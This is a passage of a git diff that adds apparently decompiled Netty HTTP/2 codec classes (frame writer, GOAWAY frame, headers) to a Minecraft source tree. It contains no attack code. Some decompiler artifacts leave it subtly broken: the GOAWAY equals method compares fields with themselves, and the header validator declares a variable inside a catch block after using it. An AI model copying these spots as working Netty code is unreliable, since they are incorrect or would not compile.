+      if (headersDecoder.configuration().headerTable().maxHeaderListSize() - fragment.readableBytes() < headerBlock.readableBytes())
+      {
+        headerSizeExceeded();
+      }
+      if (headerBlock.isWritable(fragment.readableBytes()))
+      {
+        headerBlock.writeBytes(fragment);
+      }
+      else {
+        ByteBuf buf = alloc.buffer(headerBlock.readableBytes() + fragment.readableBytes());
+        buf.writeBytes(headerBlock);
+        buf.writeBytes(fragment);
+        headerBlock.release();
+        headerBlock = buf;
+      }
+    }
+    
+
+    Http2Headers headers()
+      throws Http2Exception
+    {
+      try
+      {
+        return headersDecoder.decodeHeaders(streamId, headerBlock);
+      } finally {
+        close();
+      }
+    }
+    
+
+
+    void close()
+    {
+      if (headerBlock != null) {
+        headerBlock.release();
+        headerBlock = null;
+      }
+      
+
+      headersContinuation = null;
+    }
+  }
+  
+  private void verifyNotProcessingHeaders() throws Http2Exception {
+    if (headersContinuation != null) {
+      throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Received frame of type %s while processing headers.", new Object[] { Byte.valueOf(frameType) });
+    }
+  }
+  
+  private void verifyPayloadLength(int payloadLength) throws Http2Exception {
+    if (payloadLength > maxFrameSize) {
+      throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Total payload length %d exceeds max frame length.", new Object[] { Integer.valueOf(payloadLength) });
+    }
+  }
+  
+  private void verifyAssociatedWithAStream() throws Http2Exception {
+    if (streamId == 0) {
+      throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Frame of type %s must be associated with a stream.", new Object[] { Byte.valueOf(frameType) });
+    }
+  }
+  
+  private static void verifyStreamOrConnectionId(int streamId, String argumentName) throws Http2Exception
+  {
+    if (streamId < 0) {
+      throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "%s must be >= 0", new Object[] { argumentName });
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2FrameWriter.java b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2FrameWriter.java
new file mode 100644
index 0000000..f4dca6e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2FrameWriter.java
@@ -0,0 +1,626 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+import io.netty.util.collection.CharObjectMap.PrimitiveEntry;
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultHttp2FrameWriter
+  implements Http2FrameWriter, Http2FrameSizePolicy, Http2FrameWriter.Configuration
+{
+  private static final String STREAM_ID = "Stream ID";
+  private static final String STREAM_DEPENDENCY = "Stream Dependency";
+  private static final ByteBuf ZERO_BUFFER = Unpooled.unreleasableBuffer(Unpooled.directBuffer(255).writeZero(255)).asReadOnly();
+  
+  private final Http2HeadersEncoder headersEncoder;
+  private int maxFrameSize;
+  
+  public DefaultHttp2FrameWriter()
+  {
+    this(new DefaultHttp2HeadersEncoder());
+  }
+  
+  public DefaultHttp2FrameWriter(Http2HeadersEncoder.SensitivityDetector headersSensativityDetector) {
+    this(new DefaultHttp2HeadersEncoder(headersSensativityDetector));
+  }
+  
+  public DefaultHttp2FrameWriter(Http2HeadersEncoder.SensitivityDetector headersSensativityDetector, boolean ignoreMaxHeaderListSize) {
+    this(new DefaultHttp2HeadersEncoder(headersSensativityDetector, ignoreMaxHeaderListSize));
+  }
+  
+  public DefaultHttp2FrameWriter(Http2HeadersEncoder headersEncoder) {
+    this.headersEncoder = headersEncoder;
+    maxFrameSize = 16384;
+  }
+  
+  public Http2FrameWriter.Configuration configuration()
+  {
+    return this;
+  }
+  
+  public Http2HeaderTable headerTable()
+  {
+    return headersEncoder.configuration().headerTable();
+  }
+  
+  public Http2FrameSizePolicy frameSizePolicy()
+  {
+    return this;
+  }
+  
+  public void maxFrameSize(int max) throws Http2Exception
+  {
+    if (!Http2CodecUtil.isMaxFrameSizeValid(max)) {
+      throw Http2Exception.connectionError(Http2Error.FRAME_SIZE_ERROR, "Invalid MAX_FRAME_SIZE specified in sent settings: %d", new Object[] { Integer.valueOf(max) });
+    }
+    maxFrameSize = max;
+  }
+  
+  public int maxFrameSize()
+  {
+    return maxFrameSize;
+  }
+  
+
+  public void close() {}
+  
+
+  public ChannelFuture writeData(ChannelHandlerContext ctx, int streamId, ByteBuf data, int padding, boolean endStream, ChannelPromise promise)
+  {
+    Http2CodecUtil.SimpleChannelPromiseAggregator promiseAggregator = new Http2CodecUtil.SimpleChannelPromiseAggregator(promise, ctx.channel(), ctx.executor());
+    
+    DataFrameHeader header = new DataFrameHeader(ctx, streamId);
+    boolean needToReleaseHeaders = true;
+    boolean needToReleaseData = true;
+    try {
+      verifyStreamId(streamId, "Stream ID");
+      Http2CodecUtil.verifyPadding(padding);
+      
+
+      int remainingData = data.readableBytes();
+      boolean lastFrame;
+      do {
+        int frameDataBytes = Math.min(remainingData, maxFrameSize);
+        int framePaddingBytes = Math.min(padding, Math.max(0, maxFrameSize - 1 - frameDataBytes));
+        
+
+        padding -= framePaddingBytes;
+        remainingData -= frameDataBytes;
+        
+
+        lastFrame = (remainingData == 0) && (padding == 0);
+        
+
+        ByteBuf frameHeader = header.slice(frameDataBytes, framePaddingBytes, (lastFrame) && (endStream));
+        needToReleaseHeaders = !lastFrame;
+        ctx.write(lastFrame ? frameHeader : frameHeader.retain(), promiseAggregator.newPromise());
+        
+
+        ByteBuf frameData = data.readSlice(frameDataBytes);
+        
+        needToReleaseData = !lastFrame;
+        ctx.write(lastFrame ? frameData : frameData.retain(), promiseAggregator.newPromise());
+        
+
+        if (paddingBytes(framePaddingBytes) > 0) {
+          ctx.write(ZERO_BUFFER.slice(0, paddingBytes(framePaddingBytes)), promiseAggregator.newPromise());
+        }
+      } while (!lastFrame);
+    } catch (Throwable t) {
+      if (needToReleaseHeaders) {
+        header.release();
+      }
+      if (needToReleaseData) {
+        data.release();
+      }
+      promiseAggregator.setFailure(t);
+    }
+    return promiseAggregator.doneAllocatingPromises();
+  }
+  
+
+  public ChannelFuture writeHeaders(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int padding, boolean endStream, ChannelPromise promise)
+  {
+    return writeHeadersInternal(ctx, streamId, headers, padding, endStream, false, 0, (short)0, false, promise);
+  }
+  
+
+
+
+  public ChannelFuture writeHeaders(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int streamDependency, short weight, boolean exclusive, int padding, boolean endStream, ChannelPromise promise)
+  {
+    return writeHeadersInternal(ctx, streamId, headers, padding, endStream, true, streamDependency, weight, exclusive, promise);
+  }
+  
+
+  public ChannelFuture writePriority(ChannelHandlerContext ctx, int streamId, int streamDependency, short weight, boolean exclusive, ChannelPromise promise)
+  {
+    try
+    {
+      verifyStreamId(streamId, "Stream ID");
+      verifyStreamId(streamDependency, "Stream Dependency");
+      verifyWeight(weight);
+      
+      ByteBuf buf = ctx.alloc().buffer(14);
+      Http2CodecUtil.writeFrameHeaderInternal(buf, 5, (byte)2, new Http2Flags(), streamId);
+      long word1 = exclusive ? 0x80000000 | streamDependency : streamDependency;
+      Http2CodecUtil.writeUnsignedInt(word1, buf);
+      
+      buf.writeByte(weight - 1);
+      return ctx.write(buf, promise);
+    } catch (Throwable t) {
+      return promise.setFailure(t);
+    }
+  }
+  
+  public ChannelFuture writeRstStream(ChannelHandlerContext ctx, int streamId, long errorCode, ChannelPromise promise)
+  {
+    try
+    {
+      verifyStreamId(streamId, "Stream ID");
+      verifyErrorCode(errorCode);
+      
+      ByteBuf buf = ctx.alloc().buffer(13);
+      Http2CodecUtil.writeFrameHeaderInternal(buf, 4, (byte)3, new Http2Flags(), streamId);
+      Http2CodecUtil.writeUnsignedInt(errorCode, buf);
+      return ctx.write(buf, promise);
+    } catch (Throwable t) {
+      return promise.setFailure(t);
+    }
+  }
+  
+  public ChannelFuture writeSettings(ChannelHandlerContext ctx, Http2Settings settings, ChannelPromise promise)
+  {
+    try
+    {
+      ObjectUtil.checkNotNull(settings, "settings");
+      int payloadLength = 6 * settings.size();
+      ByteBuf buf = ctx.alloc().buffer(9 + settings.size() * 6);
+      Http2CodecUtil.writeFrameHeaderInternal(buf, payloadLength, (byte)4, new Http2Flags(), 0);
+      for (CharObjectMap.PrimitiveEntry<Long> entry : settings.entries()) {
+        Http2CodecUtil.writeUnsignedShort(entry.key(), buf);
+        Http2CodecUtil.writeUnsignedInt(((Long)entry.value()).longValue(), buf);
+      }
+      return ctx.write(buf, promise);
+    } catch (Throwable t) {
+      return promise.setFailure(t);
+    }
+  }
+  
+  public ChannelFuture writeSettingsAck(ChannelHandlerContext ctx, ChannelPromise promise)
+  {
+    try {
+      ByteBuf buf = ctx.alloc().buffer(9);
+      Http2CodecUtil.writeFrameHeaderInternal(buf, 0, (byte)4, new Http2Flags().ack(true), 0);
+      return ctx.write(buf, promise);
+    } catch (Throwable t) {
+      return promise.setFailure(t);
+    }
+  }
+  
+
+  public ChannelFuture writePing(ChannelHandlerContext ctx, boolean ack, ByteBuf data, ChannelPromise promise)
+  {
+    boolean releaseData = true;
+    Http2CodecUtil.SimpleChannelPromiseAggregator promiseAggregator = new Http2CodecUtil.SimpleChannelPromiseAggregator(promise, ctx.channel(), ctx.executor());
+    try
+    {
+      verifyPingPayload(data);
+      Http2Flags flags = ack ? new Http2Flags().ack(true) : new Http2Flags();
+      ByteBuf buf = ctx.alloc().buffer(9);
+      Http2CodecUtil.writeFrameHeaderInternal(buf, data.readableBytes(), (byte)6, flags, 0);
+      ctx.write(buf, promiseAggregator.newPromise());
+      
+
+      releaseData = false;
+      ctx.write(data, promiseAggregator.newPromise());
+    } catch (Throwable t) {
+      if (releaseData) {
+        data.release();
+      }
+      promiseAggregator.setFailure(t);
+    }
+    return promiseAggregator.doneAllocatingPromises();
+  }
+  
+
+  public ChannelFuture writePushPromise(ChannelHandlerContext ctx, int streamId, int promisedStreamId, Http2Headers headers, int padding, ChannelPromise promise)
+  {
+    ByteBuf headerBlock = null;
+    Http2CodecUtil.SimpleChannelPromiseAggregator promiseAggregator = new Http2CodecUtil.SimpleChannelPromiseAggregator(promise, ctx.channel(), ctx.executor());
+    try
+    {
+      verifyStreamId(streamId, "Stream ID");
+      verifyStreamId(promisedStreamId, "Promised Stream ID");
+      Http2CodecUtil.verifyPadding(padding);
+      
+
+      headerBlock = ctx.alloc().buffer();
+      headersEncoder.encodeHeaders(headers, headerBlock);
+      
+
+      Http2Flags flags = new Http2Flags().paddingPresent(padding > 0);
+      
+      int nonFragmentLength = 4 + padding;
+      int maxFragmentLength = maxFrameSize - nonFragmentLength;
+      ByteBuf fragment = headerBlock.readRetainedSlice(Math.min(headerBlock.readableBytes(), maxFragmentLength));
+      
+      flags.endOfHeaders(!headerBlock.isReadable());
+      
+      int payloadLength = fragment.readableBytes() + nonFragmentLength;
+      ByteBuf buf = ctx.alloc().buffer(14);
+      Http2CodecUtil.writeFrameHeaderInternal(buf, payloadLength, (byte)5, flags, streamId);
+      writePaddingLength(buf, padding);
+      
+
+      buf.writeInt(promisedStreamId);
+      ctx.write(buf, promiseAggregator.newPromise());
+      
+
+      ctx.write(fragment, promiseAggregator.newPromise());
+      
+
+      if (paddingBytes(padding) > 0) {
+        ctx.write(ZERO_BUFFER.slice(0, paddingBytes(padding)), promiseAggregator.newPromise());
+      }
+      
+      if (!flags.endOfHeaders()) {
+        writeContinuationFrames(ctx, streamId, headerBlock, padding, promiseAggregator);
+      }
+    } catch (Throwable t) {
+      promiseAggregator.setFailure(t);
+    } finally {
+      if (headerBlock != null) {
+        headerBlock.release();
+      }
+    }
+    return promiseAggregator.doneAllocatingPromises();
+  }
+  
+
+  public ChannelFuture writeGoAway(ChannelHandlerContext ctx, int lastStreamId, long errorCode, ByteBuf debugData, ChannelPromise promise)
+  {
+    boolean releaseData = true;
+    Http2CodecUtil.SimpleChannelPromiseAggregator promiseAggregator = new Http2CodecUtil.SimpleChannelPromiseAggregator(promise, ctx.channel(), ctx.executor());
+    try
+    {
+      verifyStreamOrConnectionId(lastStreamId, "Last Stream ID");
+      verifyErrorCode(errorCode);
+      
+      int payloadLength = 8 + debugData.readableBytes();
+      ByteBuf buf = ctx.alloc().buffer(17);
+      Http2CodecUtil.writeFrameHeaderInternal(buf, payloadLength, (byte)7, new Http2Flags(), 0);
+      buf.writeInt(lastStreamId);
+      Http2CodecUtil.writeUnsignedInt(errorCode, buf);
+      ctx.write(buf, promiseAggregator.newPromise());
+      
+      releaseData = false;
+      ctx.write(debugData, promiseAggregator.newPromise());
+    } catch (Throwable t) {
+      if (releaseData) {
+        debugData.release();
+      }
+      promiseAggregator.setFailure(t);
+    }
+    return promiseAggregator.doneAllocatingPromises();
+  }
+  
+  public ChannelFuture writeWindowUpdate(ChannelHandlerContext ctx, int streamId, int windowSizeIncrement, ChannelPromise promise)
+  {
+    try
+    {
+      verifyStreamOrConnectionId(streamId, "Stream ID");
+      verifyWindowSizeIncrement(windowSizeIncrement);
+      
+      ByteBuf buf = ctx.alloc().buffer(13);
+      Http2CodecUtil.writeFrameHeaderInternal(buf, 4, (byte)8, new Http2Flags(), streamId);
+      buf.writeInt(windowSizeIncrement);
+      return ctx.write(buf, promise);
+    } catch (Throwable t) {
+      return promise.setFailure(t);
+    }
+  }
+  
+
+  public ChannelFuture writeFrame(ChannelHandlerContext ctx, byte frameType, int streamId, Http2Flags flags, ByteBuf payload, ChannelPromise promise)
+  {
+    boolean releaseData = true;
+    Http2CodecUtil.SimpleChannelPromiseAggregator promiseAggregator = new Http2CodecUtil.SimpleChannelPromiseAggregator(promise, ctx.channel(), ctx.executor());
+    try
+    {
+      verifyStreamOrConnectionId(streamId, "Stream ID");
+      ByteBuf buf = ctx.alloc().buffer(9);
+      Http2CodecUtil.writeFrameHeaderInternal(buf, payload.readableBytes(), frameType, flags, streamId);
+      ctx.write(buf, promiseAggregator.newPromise());
+      
+      releaseData = false;
+      ctx.write(payload, promiseAggregator.newPromise());
+    } catch (Throwable t) {
+      if (releaseData) {
+        payload.release();
+      }
+      promiseAggregator.setFailure(t);
+    }
+    return promiseAggregator.doneAllocatingPromises();
+  }
+  
+
+  private ChannelFuture writeHeadersInternal(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int padding, boolean endStream, boolean hasPriority, int streamDependency, short weight, boolean exclusive, ChannelPromise promise)
+  {
+    ByteBuf headerBlock = null;
+    Http2CodecUtil.SimpleChannelPromiseAggregator promiseAggregator = new Http2CodecUtil.SimpleChannelPromiseAggregator(promise, ctx.channel(), ctx.executor());
+    try
+    {
+      verifyStreamId(streamId, "Stream ID");
+      if (hasPriority) {
+        verifyStreamOrConnectionId(streamDependency, "Stream Dependency");
+        Http2CodecUtil.verifyPadding(padding);
+        verifyWeight(weight);
+      }
+      
+
+      headerBlock = ctx.alloc().buffer();
+      headersEncoder.encodeHeaders(headers, headerBlock);
+      
+      Http2Flags flags = new Http2Flags().endOfStream(endStream).priorityPresent(hasPriority).paddingPresent(padding > 0);
+      
+
+
+      int nonFragmentBytes = padding + flags.getNumPriorityBytes();
+      int maxFragmentLength = maxFrameSize - nonFragmentBytes;
+      ByteBuf fragment = headerBlock.readRetainedSlice(Math.min(headerBlock.readableBytes(), maxFragmentLength));
+      
+
+      flags.endOfHeaders(!headerBlock.isReadable());
+      
+      int payloadLength = fragment.readableBytes() + nonFragmentBytes;
+      ByteBuf buf = ctx.alloc().buffer(15);
+      Http2CodecUtil.writeFrameHeaderInternal(buf, payloadLength, (byte)1, flags, streamId);
+      writePaddingLength(buf, padding);
+      
+      if (hasPriority) {
+        long word1 = exclusive ? 0x80000000 | streamDependency : streamDependency;
+        Http2CodecUtil.writeUnsignedInt(word1, buf);
+        
+
+        buf.writeByte(weight - 1);
+      }
+      ctx.write(buf, promiseAggregator.newPromise());
+      
+
+      ctx.write(fragment, promiseAggregator.newPromise());
+      
+
+      if (paddingBytes(padding) > 0) {
+        ctx.write(ZERO_BUFFER.slice(0, paddingBytes(padding)), promiseAggregator.newPromise());
+      }
+      
+      if (!flags.endOfHeaders()) {
+        writeContinuationFrames(ctx, streamId, headerBlock, padding, promiseAggregator);
+      }
+    } catch (Throwable t) {
+      promiseAggregator.setFailure(t);
+    } finally {
+      if (headerBlock != null) {
+        headerBlock.release();
+      }
+    }
+    return promiseAggregator.doneAllocatingPromises();
+  }
+  
+
+
+
+  private ChannelFuture writeContinuationFrames(ChannelHandlerContext ctx, int streamId, ByteBuf headerBlock, int padding, Http2CodecUtil.SimpleChannelPromiseAggregator promiseAggregator)
+  {
+    Http2Flags flags = new Http2Flags().paddingPresent(padding > 0);
+    int maxFragmentLength = maxFrameSize - padding;
+    
+    if (maxFragmentLength <= 0) {
+      return promiseAggregator.setFailure(new IllegalArgumentException("Padding [" + padding + "] is too large for max frame size [" + maxFrameSize + "]"));
+    }
+    
+
+    if (headerBlock.isReadable())
+    {
+      int fragmentReadableBytes = Math.min(headerBlock.readableBytes(), maxFragmentLength);
+      int payloadLength = fragmentReadableBytes + padding;
+      ByteBuf buf = ctx.alloc().buffer(10);
+      Http2CodecUtil.writeFrameHeaderInternal(buf, payloadLength, (byte)9, flags, streamId);
+      writePaddingLength(buf, padding);
+      do
+      {
+        fragmentReadableBytes = Math.min(headerBlock.readableBytes(), maxFragmentLength);
+        ByteBuf fragment = headerBlock.readRetainedSlice(fragmentReadableBytes);
+        
+        payloadLength = fragmentReadableBytes + padding;
+        if (headerBlock.isReadable()) {
+          ctx.write(buf.retain(), promiseAggregator.newPromise());
+        }
+        else {
+          flags = flags.endOfHeaders(true);
+          buf.release();
+          buf = ctx.alloc().buffer(10);
+          Http2CodecUtil.writeFrameHeaderInternal(buf, payloadLength, (byte)9, flags, streamId);
+          writePaddingLength(buf, padding);
+          ctx.write(buf, promiseAggregator.newPromise());
+        }
+        
+        ctx.write(fragment, promiseAggregator.newPromise());
+        
+
+        if (paddingBytes(padding) > 0) {
+          ctx.write(ZERO_BUFFER.slice(0, paddingBytes(padding)), promiseAggregator.newPromise());
+        }
+      } while (headerBlock.isReadable());
+    }
+    return promiseAggregator;
+  }
+  
+
+
+
+
+  private static int paddingBytes(int padding)
+  {
+    return padding - 1;
+  }
+  
+  private static void writePaddingLength(ByteBuf buf, int padding) {
+    if (padding > 0)
+    {
+
+      buf.writeByte(padding - 1);
+    }
+  }
+  
+  private static void verifyStreamId(int streamId, String argumentName) {
+    if (streamId <= 0) {
+      throw new IllegalArgumentException(argumentName + " must be > 0");
+    }
+  }
+  
+  private static void verifyStreamOrConnectionId(int streamId, String argumentName) {
+    if (streamId < 0) {
+      throw new IllegalArgumentException(argumentName + " must be >= 0");
+    }
+  }
+  
+  private static void verifyWeight(short weight) {
+    if ((weight < 1) || (weight > 256)) {
+      throw new IllegalArgumentException("Invalid weight: " + weight);
+    }
+  }
+  
+  private static void verifyErrorCode(long errorCode) {
+    if ((errorCode < 0L) || (errorCode > 4294967295L)) {
+      throw new IllegalArgumentException("Invalid errorCode: " + errorCode);
+    }
+  }
+  
+  private static void verifyWindowSizeIncrement(int windowSizeIncrement) {
+    if (windowSizeIncrement < 0) {
+      throw new IllegalArgumentException("WindowSizeIncrement must be >= 0");
+    }
+  }
+  
+  private static void verifyPingPayload(ByteBuf data) {
+    if ((data == null) || (data.readableBytes() != 8)) {
+      throw new IllegalArgumentException("Opaque data must be 8 bytes");
+    }
+  }
+  
+
+  private static final class DataFrameHeader
+  {
+    private final int streamId;
+    
+    private final ByteBuf buffer;
+    
+    private final Http2Flags flags = new Http2Flags();
+    
+    private int prevData;
+    
+    private int prevPadding;
+    private ByteBuf frameHeader;
+    
+    DataFrameHeader(ChannelHandlerContext ctx, int streamId)
+    {
+      buffer = ctx.alloc().buffer(30);
+      this.streamId = streamId;
+    }
+    
+
+
+
+
+    ByteBuf slice(int data, int padding, boolean endOfStream)
+    {
+      if ((data != prevData) || (padding != prevPadding) || (endOfStream != flags.endOfStream()) || (frameHeader == null))
+      {
+
+        prevData = data;
+        prevPadding = padding;
+        flags.paddingPresent(padding > 0);
+        flags.endOfStream(endOfStream);
+        frameHeader = buffer.readSlice(10).writerIndex(0);
+        
+        int payloadLength = data + padding;
+        Http2CodecUtil.writeFrameHeaderInternal(frameHeader, payloadLength, (byte)0, flags, streamId);
+        DefaultHttp2FrameWriter.writePaddingLength(frameHeader, padding);
+      }
+      return frameHeader.slice();
+    }
+    
+    void release() {
+      buffer.release();
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2GoAwayFrame.java b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2GoAwayFrame.java
new file mode 100644
index 0000000..aaf250c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2GoAwayFrame.java
@@ -0,0 +1,179 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.DefaultByteBufHolder;
+import io.netty.buffer.Unpooled;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DefaultHttp2GoAwayFrame
+  extends DefaultByteBufHolder
+  implements Http2GoAwayFrame
+{
+  private final long errorCode;
+  private int lastStreamId;
+  private int extraStreamIds;
+  
+  public DefaultHttp2GoAwayFrame(Http2Error error)
+  {
+    this(error.code());
+  }
+  
+
+
+
+
+  public DefaultHttp2GoAwayFrame(long errorCode)
+  {
+    this(errorCode, Unpooled.EMPTY_BUFFER);
+  }
+  
+
+
+
+
+
+  public DefaultHttp2GoAwayFrame(Http2Error error, ByteBuf content)
+  {
+    this(error.code(), content);
+  }
+  
+
+
+
+
+
+  public DefaultHttp2GoAwayFrame(long errorCode, ByteBuf content)
+  {
+    this(-1, errorCode, content);
+  }
+  
+
+
+
+
+
+  DefaultHttp2GoAwayFrame(int lastStreamId, long errorCode, ByteBuf content)
+  {
+    super(content);
+    this.errorCode = errorCode;
+    this.lastStreamId = lastStreamId;
+  }
+  
+  public String name()
+  {
+    return "GOAWAY";
+  }
+  
+  public long errorCode()
+  {
+    return errorCode;
+  }
+  
+  public int extraStreamIds()
+  {
+    return extraStreamIds;
+  }
+  
+  public Http2GoAwayFrame setExtraStreamIds(int extraStreamIds)
+  {
+    if (extraStreamIds < 0) {
+      throw new IllegalArgumentException("extraStreamIds must be non-negative");
+    }
+    this.extraStreamIds = extraStreamIds;
+    return this;
+  }
+  
+  public int lastStreamId()
+  {
+    return lastStreamId;
+  }
+  
+  public Http2GoAwayFrame copy()
+  {
+    return new DefaultHttp2GoAwayFrame(lastStreamId, errorCode, content().copy());
+  }
+  
+  public Http2GoAwayFrame duplicate()
+  {
+    return (Http2GoAwayFrame)super.duplicate();
+  }
+  
+  public Http2GoAwayFrame retainedDuplicate()
+  {
+    return (Http2GoAwayFrame)super.retainedDuplicate();
+  }
+  
+  public Http2GoAwayFrame replace(ByteBuf content)
+  {
+    return new DefaultHttp2GoAwayFrame(errorCode, content).setExtraStreamIds(extraStreamIds);
+  }
+  
+  public Http2GoAwayFrame retain()
+  {
+    super.retain();
+    return this;
+  }
+  
+  public Http2GoAwayFrame retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+  
+  public Http2GoAwayFrame touch()
+  {
+    super.touch();
+    return this;
+  }
+  
+  public Http2GoAwayFrame touch(Object hint)
+  {
+    super.touch(hint);
+    return this;
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (!(o instanceof DefaultHttp2GoAwayFrame)) {
+      return false;
+    }
+    DefaultHttp2GoAwayFrame other = (DefaultHttp2GoAwayFrame)o;
+    return (super.equals(o)) && (errorCode == errorCode) && (content().equals(other.content())) && (extraStreamIds == extraStreamIds);
+  }
+  
+
+  public int hashCode()
+  {
+    int hash = 237395317;
+    hash = hash * 31 + (int)(errorCode ^ errorCode >>> 32);
+    hash = hash * 31 + content().hashCode();
+    hash = hash * 31 + extraStreamIds;
+    return hash;
+  }
+  
+  public String toString()
+  {
+    return "DefaultHttp2GoAwayFrame(errorCode=" + errorCode + ", content=" + content() + ", extraStreamIds=" + extraStreamIds + ", lastStreamId=" + lastStreamId + ")";
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2Headers.java b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2Headers.java
new file mode 100644
index 0000000..fed12c2
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2Headers.java
@@ -0,0 +1,225 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.handler.codec.CharSequenceValueConverter;
+import io.netty.handler.codec.DefaultHeaders;
+import io.netty.handler.codec.DefaultHeaders.HeaderEntry;
+import io.netty.handler.codec.DefaultHeaders.NameValidator;
+import io.netty.util.AsciiString;
+import io.netty.util.ByteProcessor;
+import io.netty.util.internal.PlatformDependent;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultHttp2Headers
+  extends DefaultHeaders<CharSequence, CharSequence, Http2Headers>
+  implements Http2Headers
+{
+  private static final ByteProcessor HTTP2_NAME_VALIDATOR_PROCESSOR = new ByteProcessor()
+  {
+    public boolean process(byte value) throws Exception {
+      return !AsciiString.isUpperCase(value);
+    }
+  };
+  private static final DefaultHeaders.NameValidator<CharSequence> HTTP2_NAME_VALIDATOR = new DefaultHeaders.NameValidator()
+  {
+    public void validateName(CharSequence name) {
+      if ((name == null) || (name.length() == 0)) {
+        PlatformDependent.throwException(Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "empty headers are not allowed [%s]", new Object[] { name }));
+      }
+      
+      if ((name instanceof AsciiString))
+      {
+        try {
+          index = ((AsciiString)name).forEachByte(DefaultHttp2Headers.HTTP2_NAME_VALIDATOR_PROCESSOR);
+        } catch (Http2Exception e) { int index;
+          PlatformDependent.throwException(e);
+          return;
+        } catch (Throwable t) {
+          PlatformDependent.throwException(Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, t, "unexpected error. invalid header name [%s]", new Object[] { name })); return;
+        }
+        
+        int index;
+        
+        if (index != -1) {
+          PlatformDependent.throwException(Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "invalid header name [%s]", new Object[] { name }));
+        }
+      }
+      else {
+        for (int i = 0; i < name.length(); i++) {
+          if (AsciiString.isUpperCase(name.charAt(i))) {
+            PlatformDependent.throwException(Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "invalid header name [%s]", new Object[] { name }));
+          }
+        }
+      }
+    }
+  };
+  
+
+  private DefaultHeaders.HeaderEntry<CharSequence, CharSequence> firstNonPseudo = head;
+  
+
+
+
+
+
+  public DefaultHttp2Headers()
+  {
+    this(true);
+  }
+  
+
+
+
+
+
+
+
+  public DefaultHttp2Headers(boolean validate)
+  {
+    super(AsciiString.CASE_SENSITIVE_HASHER, CharSequenceValueConverter.INSTANCE, validate ? HTTP2_NAME_VALIDATOR : DefaultHeaders.NameValidator.NOT_NULL);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public DefaultHttp2Headers(boolean validate, int arraySizeHint)
+  {
+    super(AsciiString.CASE_SENSITIVE_HASHER, CharSequenceValueConverter.INSTANCE, validate ? HTTP2_NAME_VALIDATOR : DefaultHeaders.NameValidator.NOT_NULL, arraySizeHint);
+  }
+  
+
+
+
+  public Http2Headers clear()
+  {
+    firstNonPseudo = head;
+    return (Http2Headers)super.clear();
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (!(o instanceof Http2Headers)) {
+      return false;
+    }
+    
+    return equals((Http2Headers)o, AsciiString.CASE_SENSITIVE_HASHER);
+  }
+  
+  public int hashCode()
+  {
+    return hashCode(AsciiString.CASE_SENSITIVE_HASHER);
+  }
+  
+  public Http2Headers method(CharSequence value)
+  {
+    set(Http2Headers.PseudoHeaderName.METHOD.value(), value);
+    return this;
+  }
+  
+  public Http2Headers scheme(CharSequence value)
+  {
+    set(Http2Headers.PseudoHeaderName.SCHEME.value(), value);
+    return this;
+  }
+  
+  public Http2Headers authority(CharSequence value)
+  {
+    set(Http2Headers.PseudoHeaderName.AUTHORITY.value(), value);
+    return this;
+  }
+  
+  public Http2Headers path(CharSequence value)
+  {
+    set(Http2Headers.PseudoHeaderName.PATH.value(), value);
+    return this;
+  }
+  
+  public Http2Headers status(CharSequence value)
+  {
+    set(Http2Headers.PseudoHeaderName.STATUS.value(), value);
+    return this;
+  }
+  
+  public CharSequence method()
+  {
+    return (CharSequence)get(Http2Headers.PseudoHeaderName.METHOD.value());
+  }
+  
+  public CharSequence scheme()
+  {
+    return (CharSequence)get(Http2Headers.PseudoHeaderName.SCHEME.value());
+  }
+  
+  public CharSequence authority()
+  {
+    return (CharSequence)get(Http2Headers.PseudoHeaderName.AUTHORITY.value());
+  }
+  
+  public CharSequence path()
+  {
+    return (CharSequence)get(Http2Headers.PseudoHeaderName.PATH.value());
+  }
+  
+  public CharSequence status()
+  {
+    return (CharSequence)get(Http2Headers.PseudoHeaderName.STATUS.value());
+  }
+  
+
+  protected final DefaultHeaders.HeaderEntry<CharSequence, CharSequence> newHeaderEntry(int h, CharSequence name, CharSequence value, DefaultHeaders.HeaderEntry<CharSequence, CharSequence> next)
+  {
+    return new Http2HeaderEntry(h, name, value, next);
+  }
+  
+  private final class Http2HeaderEntry extends DefaultHeaders.HeaderEntry<CharSequence, CharSequence>
+  {
